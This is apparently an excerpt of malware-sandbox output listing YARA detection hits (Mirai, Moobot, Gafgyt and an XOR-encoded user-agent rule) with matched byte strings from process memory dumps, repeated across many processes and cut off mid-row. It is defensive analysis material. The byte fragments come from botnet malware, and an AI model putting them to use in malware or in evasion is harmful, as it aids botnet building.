6924.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6924.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6631.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6631.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6631.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6908.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6631.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6631.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6631.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7357.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7334.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7107.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6344.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7375.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7186.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7186.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7186.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7186.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7186.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7186.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6330.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7409.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7409.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7409.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7409.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7409.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7409.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6224.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6224.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6224.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6224.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6224.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6224.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7299.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7299.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7299.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7299.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7299.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 